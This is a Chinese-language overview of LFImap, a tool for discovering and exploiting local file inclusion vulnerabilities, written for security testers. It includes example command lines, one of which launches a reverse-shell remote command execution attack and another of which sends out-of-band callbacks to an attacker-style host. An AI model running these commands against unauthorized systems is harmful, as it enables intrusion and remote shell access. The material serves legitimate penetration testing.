探索与利用本地文件包含漏洞的利器：LFImap

探索与利用本地文件包含漏洞的利器：LFImap

LFImapLocal File Inclusion discovery and exploitation tool项目地址:https://gitcode.com/gh_mirrors/lf/LFImap

项目介绍

LFImap是一款处于预alpha阶段的开源工具，专为发现和利用本地文件包含（Local File Inclusion）漏洞设计。它提供了一系列高级功能和攻击模块，帮助安全研究人员测试和挖掘这类漏洞。随着即将发布的1.0版本，LFImap将拥有更多新能力和模块。

项目技术分析

LFImap的亮点在于其灵活的攻击策略和全面的请求控制。它支持以下攻击模块：

• 不同类型的文件包含
• 远程命令执行
• 路径遍历
• 自定义多语言命令注入
• 以及基于错误的文件包含信息泄露检测等。

此外，LFImap还提供了多种测试模式，包括单个URL测试、URL词表测试和原始HTTP请求测试，并允许自定义参数、方法、头信息，甚至通过代理进行请求。项目还内置了延迟时间、最大响应时间设置，支持负载调整、URL和Base64编码，以及快速模式、二阶漏洞检测等功能。

应用场景

LFImap非常适合安全审计师、渗透测试人员或开发者，用于对Web应用程序的安全性进行深度测试。它可以用来探测潜在的本地文件包含漏洞，识别路径遍历风险，以及评估系统对于远程命令执行和数据注入的防护能力。通过该项目，你可以更有效地进行安全审计，及时发现并修复这些问题，以防止被恶意攻击者利用。

项目特点

• 多功能攻击模块：涵盖多种文件包含和命令执行攻击方式。
• 灵活的测试模式：支持单个URL、词表和原始HTTP请求的测试。
• 完全定制的HTTP请求：自定义参数、数据、头信息及更多选项。
• 智能检测：采用他uristic扫描进行多方面安全性检查。
• 二阶漏洞检查：针对存储型漏洞的支持。
• 便捷的命令行接口：易于使用的参数配置。
• 安全提示：提醒用户仅在合法授权的情况下使用此工具。

使用LFImap，您可以轻松地模拟不同类型的攻击，以测试目标系统的防御能力。配合详细的文档和支持，LFImap是您进行安全测试的得力助手。

示例用法

1. 使用所有支持的攻击模块：python3 lfimap.py -U "http://IP/vuln.php?param=testme" -C "PHPSESSID=XXXXXXXX" -a
2. 测试POST参数：python3 lfimap.py -U "http://IP/index.php" -D "page=PWN" -a
3. 实施反向shell RCE攻击：python3 lfimap.py -U "http://IP/vuln.php?param=PWN" -C "PHPSESSID=XXXXXXXX" -a-x --lhost <IP> --lport <PORT>
4. 利用回调地址进行离带验证：python3 lfimap.py -U "http://IP/index.php?param=testme" -a -v --callback="attacker.oastify.com"

总之，LFImap是一个强大且功能全面的工具，可以帮助您深入探索可能存在的本地文件包含漏洞。尽管目前仍处于预发布状态，但已具备多种实用功能，值得关注和使用。

LFImapLocal File Inclusion discovery and exploitation tool项目地址:https://gitcode.com/gh_mirrors/lf/LFImap